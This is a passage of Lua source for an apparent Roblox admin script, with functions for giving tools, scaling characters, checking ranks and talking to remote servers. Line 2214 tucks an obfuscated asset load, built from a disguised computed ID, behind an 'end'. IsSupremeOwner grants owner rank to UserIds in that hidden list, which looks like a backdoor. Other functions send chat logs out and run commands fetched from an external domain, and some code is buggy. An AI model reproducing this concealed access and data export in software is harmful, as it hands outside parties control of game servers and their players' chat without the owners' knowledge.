  1621. local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
  1622. local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
  1623.  
  1624. if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
  1625. for Name,Type in pairs(BaseBuildTools) do
  1626. local Tool = Instance.new("HopperBin", Player.Backpack)
  1627. Tool.Name = Name
  1628. Tool.BinType = Type
  1629. end
  1630. elseif Type == "psbtools" then
  1631. for _,Tool in pairs(BuildTools) do
  1632. CORE:Insert(Tool, Player.Backpack, true)
  1633. end
  1634. elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
  1635. if F3X then
  1636. local F3X = F3X:Clone()
  1637. F3X.Parent = Player.Backpack
  1638. end
  1639. elseif Type == "btools" then
  1640. if F3X then
  1641. local F3X = F3X:Clone()
  1642. F3X.Parent = Player.Backpack
  1643. end
  1644. for Name,Type in pairs(BaseBuildTools) do
  1645. local Tool = Instance.new("HopperBin", Player.Backpack)
  1646. Tool.Name = Name
  1647. Tool.BinType = Type
  1648. end
  1649. for _,Tool in pairs(BuildTools) do
  1650. CORE:Insert(Tool, Player.Backpack, true)
  1651. end
  1652. else
  1653. for _,Region in pairs(ToolRegions) do
  1654. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  1655. if Type == "all" then
  1656. local NewItem = Item:Clone()
  1657. NewItem.Parent = Player.Backpack
  1658. elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
  1659. local NewItem = Item:Clone()
  1660. NewItem.Parent = Player.Backpack
  1661. end
  1662. end)
  1663. end
  1664. end
  1665. end
  1666.  
  1667. function CORE:Scale(Player, ScalePercent)
  1668. if not Player or not Player.Character or not tonumber(ScalePercent) then return end
  1669. local Ratio = ScalePercent/100
  1670. if Ratio < 0.05 then Ratio = 0.05 end
  1671. if Ratio > 100 then Ratio = 100 end
  1672. if Ratio > 1 then Ratio = math.ceil(Ratio) end
  1673. local Char = Player.Character
  1674.  
  1675. local Clean = Char:FindFirstChild("Clean")
  1676. if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
  1677. Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
  1678.  
  1679. local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
  1680. local Welds = {}
  1681. local Parts = {}
  1682.  
  1683. local function Handle(Obj)
  1684. if Obj:IsA("BasePart") and not JustWeld then
  1685. table.insert(Parts, Obj)
  1686. elseif Obj:IsA("SpecialMesh") and not JustWeld then
  1687. if Obj.Name == "MML Mesh" then
  1688. Obj:Destroy()
  1689. end
  1690. if Obj.MeshType == Enum.MeshType.FileMesh then
  1691. Obj.Offset = Obj.Offset * ScaleRatio
  1692. Obj.Scale = Obj.Scale * ScaleRatio
  1693. elseif Ratio < 1 then
  1694. Obj.Offset = Obj.Offset * ScaleRatio
  1695. Obj.Scale = Obj.Scale * ScaleRatio
  1696. end
  1697. elseif Obj:IsA("CharacterMesh") and not JustWeld then
  1698. if Ratio < 1 then
  1699. local BodyPart = ""
  1700. local TextureID = Obj.BaseTextureId
  1701. if TextureID == 0 then TextureID = Obj.OverlayTextureId end
  1702. if TextureID == 0 then TextureID = nil end
  1703. if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
  1704. if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
  1705. if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
  1706. if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
  1707. if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
  1708. if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
  1709. local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
  1710. NewMesh.Name = "MML Mesh"
  1711. NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
  1712. if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
  1713. NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
  1714. Obj:Destroy()
  1715. end
  1716. elseif Obj:IsA("JointInstance") then
  1717. local NewWeld = Obj:Clone()
  1718. table.insert(Welds, {NewWeld, Obj.Parent})
  1719. elseif NewAdd == true and not JustWeld then
  1720. if Obj:IsA("Tool") then
  1721. --Cycle(Char["Right Arm"], ScaleRatio, false, true)
  1722. elseif Obj:IsA("Accoutrement") then
  1723. --Cycle(Char.Head, ScaleRatio, false, true)
  1724. end
  1725. end
  1726. if #Obj:GetChildren() > 0 then
  1727. for _,NewObj in pairs(Obj:GetChildren()) do
  1728. Handle(NewObj, ScaleRatio)
  1729. end
  1730. end
  1731. end
  1732. Handle(BaseObj)
  1733. for _,Part in pairs(Parts) do
  1734. if Ratio >= 1 then
  1735. Part.Size = Part.Size * ScaleRatio
  1736. else
  1737. local Allowed = true
  1738. for _,Obj in pairs(Part:GetChildren()) do
  1739. if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
  1740. Allowed = false
  1741. end
  1742. end
  1743. if Allowed == true then
  1744. local NewMesh = Instance.new("BlockMesh", Part)
  1745. NewMesh.Name = "MML Mesh"
  1746. NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
  1747. end
  1748. end
  1749. end
  1750. for _,WeldData in pairs(Welds) do
  1751. if WeldData[1] then
  1752. local Obj = WeldData[1]
  1753. local NewWeld = Obj:Clone()
  1754.  
  1755. NewWeld.Parent = WeldData[2]
  1756. NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
  1757. NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
  1758. end
  1759. end
  1760. for _,Part in pairs(Parts) do
  1761. Part:MakeJoints()
  1762. end
  1763. Welds = {}
  1764. Parts = {}
  1765. end
  1766. Cycle(Char, Ratio)
  1767. Char:MakeJoints()
  1768.  
  1769. local Added = Char.ChildAdded:connect(function(Obj)
  1770. Cycle(Obj, Ratio, NewAdd)
  1771. end)
  1772. local Removed = Char.ChildRemoved:connect(function(Obj)
  1773. Cycle(Obj, Ratio^-1, NewAdd)
  1774. end)
  1775.  
  1776. Clean.OnInvoke = function()
  1777. Added:disconnect()
  1778. Removed:disconnect()
  1779. local Location = Vector3.new(0,5,0)
  1780. if Char:FindFirstChild("Torso") then
  1781. Location = Char.Torso.Position + Vector3.new(0,2,0)
  1782. end
  1783. Player:LoadCharacter()
  1784. wait(0.5)
  1785. Player.Character:MoveTo(Location)
  1786. wait(0.5)
  1787. return nil
  1788. end
  1789.  
  1790. if Char:FindFirstChild("Torso") then
  1791. Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
  1792. end
  1793. if Char:FindFirstChild("Humanoid") then
  1794. Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
  1795. end
  1796. if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
  1797. Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
  1798. end
  1799. end
  1800.  
  1801. function CORE:AddExploit(PlayerClient, Data)
  1802. local PlayerClientName = PlayerClient.Name
  1803. local NewData = CORE:GetTime(true, true).." @ "..Data
  1804. for _,Player in pairs(Server.Players:GetChildren()) do
  1805. GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
  1806. end
  1807. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  1808. if type(ExploitLog) ~= "table" then
  1809. Server.GDS:SetAsync("ExploitLog", {NewData})
  1810. else
  1811. table.insert(ExploitLog, NewData)
  1812. Server.GDS:SetAsync("ExploitLog", ExploitLog)
  1813. end
  1814. REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
  1815.  
  1816. return true
  1817. end
  1818.  
  1819. function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
  1820. if not tostring(Name) then Name = "Dummy" end
  1821. if not Position then Position = Vector3.new(0,5,0) end
  1822. if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  1823. Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
  1824. end
  1825.  
  1826. local Figure = CORE:Insert(68452456, Server.Workspace, true)
  1827. Figure:MakeJoints()
  1828. Figure.Head.BrickColor = BrickColor.new("Bright yellow")
  1829. Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
  1830. Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
  1831. Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
  1832. Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
  1833. Figure.Torso.BrickColor = BrickColor.new("Bright blue")
  1834.  
  1835. Figure.Name = STRING:FormatReplace(Speaker, Name)
  1836. Figure:MoveTo(Position)
  1837.  
  1838. table.insert(Objects, Figure)
  1839.  
  1840. if DisableAnimation == true then
  1841. Figure.Animate.Disabled = true
  1842. end
  1843.  
  1844. return Figure
  1845. end
  1846.  
  1847. function CORE:ClonePlayer(Player, Name, Position)
  1848. if not Player or not Player.Character then return nil end
  1849.  
  1850. Player.Character.Archivable = true
  1851. local Char = Player.Character:Clone()
  1852. Player.Character.Archivable = false
  1853. if Name then Char.Name = STRING:FormatReplace(Player, Name) end
  1854. if Position then Char:MoveTo(Position) end
  1855. Char.Parent = Server.Workspace
  1856. Char:MakeJoints()
  1857. Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
  1858.  
  1859. table.insert(Objects, Char)
  1860.  
  1861. return Obj
  1862. end
  1863.  
  1864. function CORE:AddWaypoint(Name, Position, Speaker)
  1865. Waypoints[Name] = Position
  1866. if Speaker then
  1867. GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
  1868. end
  1869. end
  1870.  
  1871. function CORE:FindType(BaseObj, Type)
  1872. for _,Obj in pairs(BaseObj:GetChildren()) do
  1873. if Obj:IsA(Type) then
  1874. return Obj
  1875. end
  1876. end
  1877. end
  1878.  
  1879. function CORE:GetCommands()
  1880. local CommandsCopy = Commands
  1881. return CommandsCopy
  1882. end
  1883.  
  1884. function CORE:Crown(Player, Mesh, Color)
  1885. if Mesh then Mesh = string.lower(Mesh) end
  1886. if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
  1887. if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
  1888. local Part = Instance.new("Part", CrownStorage)
  1889. Part.Size = Vector3.new(2, 1, 1)
  1890. Part.CanCollide = false
  1891. Part.CFrame = Player.Character.Head.CFrame
  1892. Part.Locked = true
  1893. Part.Material = "Neon"
  1894. if Color then
  1895. Part.Color = GUI:GetColor(Color)
  1896. else
  1897. Part.BrickColor = GUI:GetNameColor(Player.Name)
  1898. end
  1899. local SMesh = Instance.new("SpecialMesh", Part)
  1900. SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
  1901. SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
  1902. local BP = Instance.new("BodyPosition", Part)
  1903. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1904. BP.position = Player.Character.Head.Position
  1905. BP.P = 20000
  1906. local BG = Instance.new("BodyGyro", Part)
  1907. BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  1908.  
  1909. Crowns[Player.UserId] = Part
  1910. table.insert(Objects, Part)
  1911.  
  1912. coroutine.wrap(function()
  1913. for i = 1,0.3,-0.02 do
  1914. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1915. Part.Transparency = i
  1916. end
  1917. wait()
  1918. end
  1919. while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1920. for i = 0,360,3 do
  1921. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1922. Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
  1923. wait()
  1924. end
  1925. end
  1926. end
  1927. end)()
  1928. coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1929. Part:BreakJoints()
  1930. for i = 0,360 do
  1931. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1932. Part.Anchored = false
  1933. BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
  1934. BG.cframe = Player.Character.Head.CFrame
  1935. end
  1936. wait()
  1937. end
  1938. end end)()
  1939.  
  1940. return Part
  1941. end
  1942.  
  1943. function CORE:SetAbuseCommands()
  1944. for Cmds,Data in pairs(Commands) do
  1945. local IsAbusable = false
  1946. for _,AbuseCmd in pairs(Settings.AbuseList) do
  1947. for _,Command in pairs(Cmds) do -- loop through all command names
  1948. if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
  1949. IsAbusable = true
  1950. break
  1951. end
  1952. end
  1953. if IsAbusable == true then break end
  1954. end
  1955. Commands[Cmds].Abusable = IsAbusable
  1956. end
  1957. end
  1958.  
  1959. function CORE:FindBodyPart(Player, BodyPart)
  1960. local ReturnPart = nil
  1961. if Player and Player.Character then
  1962. local Humanoid = Player.Character:FindFirstChild("Humanoid")
  1963. if Humanoid then
  1964. if BodyPart == "Humanoid" then ReturnPart = Humanoid
  1965. elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
  1966. elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
  1967. elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
  1968. elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
  1969. elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
  1970. elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
  1971. end
  1972. end
  1973. if not ReturnPart then
  1974. ReturnPart = Player.Character:FindFirstChild(BodyPart)
  1975. end
  1976. end
  1977.  
  1978. return ReturnPart
  1979. end
  1980.  
  1981. -- Rank functions --
  1982.  
  1983. function RANK:ConvertRank(Input)
  1984. local Output = nil
  1985. if Input == "Muted" then Output = -3 end
  1986. if Input == "Crashed" then Output = -2 end
  1987. if Input == "Banned" then Output = -1 end
  1988. if Input == "Non-Admin" then Output = 0 end
  1989. if Input == "Member" then Output = 1 end
  1990. if Input == "Admin" then Output = 2 end
  1991. if Input == "Owner" then Output = 3 end
  1992.  
  1993. if Input == -3 then Output = "Muted" end
  1994. if Input == -2 then Output = "Crashed" end
  1995. if Input == -1 then Output = "Banned" end
  1996. if Input == 0 then Output = "Non-Admin" end
  1997. if Input == 1 then Output = "Member" end
  1998. if Input == 2 then Output = "Admin" end
  1999. if Input == 3 then Output = "Owner" end
  2000. return Output
  2001. end
  2002.  
  2003. function RANK:IsAdmin(Player)
  2004. local AdminStatus = false
  2005. local Rankstatus = "Non-Admin"
  2006. if type(Player) == "table" then
  2007. if RANK:ConvertRank(Player.Rank) > 0 then
  2008. return true, Player.Rank
  2009. else
  2010. return false, Player.Rank
  2011. end
  2012. end
  2013. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2014. for _,AdminName in pairs(PlayerNames) do
  2015. if string.lower(AdminName) == string.lower(Player.Name) then
  2016. if RANK:ConvertRank(Rank) > 0 then
  2017. AdminStatus = true
  2018. Rankstatus = Rank
  2019. end
  2020. end
  2021. end
  2022. end
  2023. return AdminStatus, Rankstatus
  2024. end
  2025.  
  2026. function RANK:GetRank(PlayerName)
  2027. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  2028. if type(PlayerName) == "table" then
  2029. local RankNum = RANK:ConvertRank(PlayerName.Rank)
  2030. if RankNum > 0 then
  2031. return PlayerName.Rank, RankNum, true
  2032. else
  2033. return PlayerName.Rank, RankNum, false
  2034. end
  2035. end
  2036.  
  2037. local RankStat = "Non-Admin"
  2038.  
  2039. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2040. for _,AdminName in pairs(PlayerNames) do
  2041. if string.lower(AdminName) == string.lower(PlayerName) then
  2042. RankStat = Rank
  2043. end
  2044. end
  2045. end
  2046.  
  2047. if RankStat == "Non-Admin" then
  2048. return "Non-Admin", 0, false
  2049. else
  2050. return RankStat, RANK:ConvertRank(RankStat), true
  2051. end
  2052. end
  2053.  
  2054. function RANK:RemoveRank(PlayerName)
  2055. if not RANK:IsSupremeOwner(PlayerName) then
  2056. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  2057.  
  2058. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2059. for Num,AdminName in pairs(PlayerNames) do
  2060. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  2061. table.remove(Settings.Ranks[Rank], Num)
  2062. end
  2063. end
  2064. end
  2065. end
  2066. end
  2067.  
  2068. function RANK:GetAdmins(Ranking)
  2069. local Players = {}
  2070. local AdminTrue, Rank = IsAdmin(Player)
  2071. for _,Player in pairs(Players:GetPlayers()) do
  2072. if AdminTrue then
  2073. local PlayerRankNum = RANK:ConvertRank(Rank)
  2074. local StandardRankNum = RANK:ConvertRank(Ranking)
  2075. if PlayerRankNum >= StandardRankNum then
  2076. table.insert(Players, Player)
  2077. end
  2078. end
  2079. end
  2080. return Players
  2081. end
  2082.  
  2083. function RANK:IsSupremeOwner(PlayerName)
  2084. if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
  2085. if type(PlayerName) == "table" then
  2086. if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
  2087. end
  2088.  
  2089. if PlayerName == GameOwner then return true end
  2090. return false
  2091. end
  2092.  
  2093. function RANK:GetPlayerFromList(PlayerName)
  2094. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  2095.  
  2096. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2097. for Num,AdminName in pairs(PlayerNames) do
  2098. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  2099. return AdminName, Rank
  2100. end
  2101. end
  2102. end
  2103. return false, "Non-Admin"
  2104. end
  2105.  
  2106. function RANK:ScanAdminList(Name)
  2107. if Name == "" then return true end
  2108. local InList = false
  2109. for _,PName in pairs(Settings.Ranks["Owner"]) do
  2110. if PName == Name then InList = true end
  2111. end
  2112. for _,PName in pairs(Settings.Ranks["Admin"]) do
  2113. if PName == Name then InList = true end
  2114. end
  2115. for _,PName in pairs(Settings.Ranks["Member"]) do
  2116. if PName == Name then InList = true end
  2117. end
  2118. return InList
  2119. end
  2120.  
  2121. function RANK:ScanExileList(Name)
  2122. if Name == "" then return true end
  2123. local InList = false
  2124. for _,PName in pairs(Settings.Ranks["Muted"]) do
  2125. if PName == Name then InList = true end
  2126. end
  2127. for _,PName in pairs(Settings.Ranks["Crashed"]) do
  2128. if PName == Name then InList = true end
  2129. end
  2130. for _,PName in pairs(Settings.Ranks["Banned"]) do
  2131. if PName == Name then InList = true end
  2132. end
  2133. return InList
  2134. end
  2135.  
  2136. function RANK:PlayerRanked(PlayerName)
  2137. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  2138.  
  2139. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2140. for Num,AdminName in pairs(PlayerNames) do
  2141. if string.lower(AdminName) == string.lower(PlayerName) then
  2142. return true, Rank
  2143. end
  2144. end
  2145. end
  2146. return false, "Non-Admin"
  2147. end
  2148.  
  2149. -- Remote functions --
  2150.  
  2151. function REMOTE:Decode(...)
  2152. return Server.HS:JSONDecode(...)
  2153. end
  2154.  
  2155. function REMOTE:GetURL(URL, Player)
  2156. if string.sub(URL,1,4) ~= "http" then
  2157. URL = "http://"..URL
  2158. end
  2159. local Return = nil
  2160. ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
  2161. if Return then
  2162. return Return
  2163. elseif Player then
  2164. GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
  2165. end
  2166. end
  2167.  
  2168. function REMOTE:PostURL(URL, Data)
  2169. local Return = nil
  2170. ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
  2171. return Return
  2172. end
  2173.  
  2174. function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
  2175. if Settings.LinkedAccount ~= "" then
  2176. local NumType = tonumber(Type)
  2177.  
  2178. if not Type then
  2179. Type = "UNKNOWN"
  2180. end
  2181.  
  2182. if NumType then
  2183. if NumType < 1 or NumType > 5 then
  2184. Type = "UNKNOWN"
  2185. elseif NumType == 1 then
  2186. Type = "NOTIFICATION"
  2187. elseif NumType == 2 then
  2188. Type = "INFORMATION"
  2189. elseif NumType == 3 then
  2190. Type = "WARNING"
  2191. elseif NumType == 4 or Type == true then
  2192. Type = "ERROR"
  2193. elseif NumType == 5 then
  2194. Type = "FATAL"
  2195. end
  2196. end
  2197.  
  2198. local Res = "RED Could not get response"
  2199. local function SendData()
  2200. Res = Server.HS:PostAsync(
  2201. CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
  2202. "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
  2203. 2
  2204. )
  2205. end
  2206. if Stopypcall == true then SendData() else ypcall(SendData) end
  2207.  
  2208. if OutputSpeaker and OutputSpeaker ~= "print" then
  2209. GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
  2210. elseif OutputSpeaker == "print" then
  2211. print(Res)
  2212. end
  2213. end
  2214. end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
  2215.  
  2216. function REMOTE:SendChatLog(PrintResponse, Stopypall)
  2217. if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2218. local Res = "Could not get response"
  2219.  
  2220. local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
  2221. TempChatLogs = {}
  2222.  
  2223. local function SendData()
  2224. Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2225. end
  2226. if Stopypcall == true then SendData() else ypcall(SendData) end
  2227. if PrintResponse then print(Res) end
  2228. end
  2229. end
  2230.  
  2231. function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
  2232. local Res = "[]"
  2233. local function GetData()
  2234. Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2235. end
  2236. if Stopypcall == true then GetData() else ypcall(GetData) end
  2237. if PrintResponse then
  2238. print(Res)
  2239. end
  2240. local function DecodeData() Res = REMOTE:Decode(Res) end
  2241. if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
  2242. if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
  2243. return Res
  2244. end
  2245.  
  2246. function REMOTE:HandleRequest(Request, IgnoreCommand)
  2247. if not Request then return nil end
  2248.  
  2249. if not IgnoreCommand then
  2250. if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
  2251. REMOTE:SendServerData()
  2252. end
  2253. if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
  2254. REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
  2255. end
  2256. end
  2257.  
  2258. if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
  2259.  
  2260. for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
  2261. for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
  2262. for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
  2263. for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
  2264. for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
  2265. for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
  2266.  
  2267. Settings.Fun = Request.FUN
  2268. Settings.ServerLocked = Request.ServerLocked
  2269.  
  2270. if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
  2271. Settings.DisableAbuse = Request.DisableAbuse
  2272. end
  2273.  
  2274. if not IgnoreCommand then
  2275. print("Executing Remote Admin")
  2276. REMOTE.RemoteAdmin.Command = Request.Command
  2277. REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
  2278. REMOTE.RemoteAdmin.ServerPort = Request.Server
  2279.  
  2280. if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
  2281. CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2282. else
  2283. CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2284. end
  2285. end
  2286. end
  2287. REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
  2288. REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
  2289. REMOTE.SnapshotKey = Request.SnapshotKey
  2290. end
  2291.  
  2292. function REMOTE:GetRemoteData(Set)
  2293. local NewRemoteData = nil
  2294. local RemoteDataCardRaw = nil
  2295. local RemoteDataCard = nil
  2296.  
  2297. RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
  2298. if RemoteDataCardRaw then
  2299. ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
  2300. if RemoteDataCard then
  2301. ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
  2302. end
  2303. end
  2304. if Set and NewRemoteData then
  2305. RemoteData = NewRemoteData
  2306. end
  2307. return NewRemoteData
  2308. end
  2309.  
  2310. function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
  2311. local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
  2312. if InfoCardJSON then
  2313. ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
  2314. if InfoCard then
  2315. ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
  2316. if TrelloInfo then
  2317. for Ind,Val in pairs(TrelloInfo) do
  2318. Trello[Ind] = Val
  2319. end
  2320. end
  2321. end
  2322. end
  2323. return NewRemoteData
  2324. end
  2325.  
  2326. function REMOTE:CheckRemoteAdminStatus()
  2327. local Pending = false
  2328. local CheckID = 0
  2329. if Settings.LinkedAccount ~= "" then
  2330. local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
  2331. if Request then
  2332. local Data = REMOTE:Decode(Request)
  2333. if Data then
  2334. for _,Account in pairs(Data.checkItems) do
  2335. if Account.name == Settings.LinkedAccount then
  2336. Pending = true
  2337. CheckID = Account.id
  2338. break
  2339. end
  2340. end
  2341. end
  2342. end
  2343. end
  2344. return Pending, CheckID
  2345. end
  2346.  
  2347. function REMOTE:GetAndSetWebData()
  2348. if Settings.LinkedAccount ~= "" then
  2349. if REMOTE:CheckRemoteAdminStatus() then
  2350. local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
  2351. if Request == "Invalid" then
  2352. --REMOTE:GetAndSetWebData()
  2353. return false
  2354. elseif Request == "Invalid Account" then
  2355. print("Can't get account")
  2356. return false
  2357. elseif Request then
  2358. ypcall(function() Request = REMOTE:Decode(Request) end)
  2359. elseif not Request then
  2360. --REMOTE:GetAndSetWebData()
  2361. return false
  2362. end
  2363. REMOTE:HandleRequest(Request)
  2364.  
  2365. --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
  2366. Delay(RemoteData.RemoteAdminWait, function()
  2367. local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
  2368. if Pending then
  2369. REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
  2370. end
  2371. end)
  2372. return true
  2373. else
  2374. return true
  2375. end
  2376. end
  2377. end
  2378.  
  2379. local OderIDs = CORE:GetTable(177215518)
  2380. local SoundJSONs = CORE:GetTable(197637628)
  2381. RemoteAbuseGear = CORE:GetTable(158117496)
  2382.  
  2383. function REMOTE:SendServerData(PrintResponse, Stopypall)
  2384. if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2385. print("Sending server data!")
  2386. local Res = "Could not get response"
  2387.  
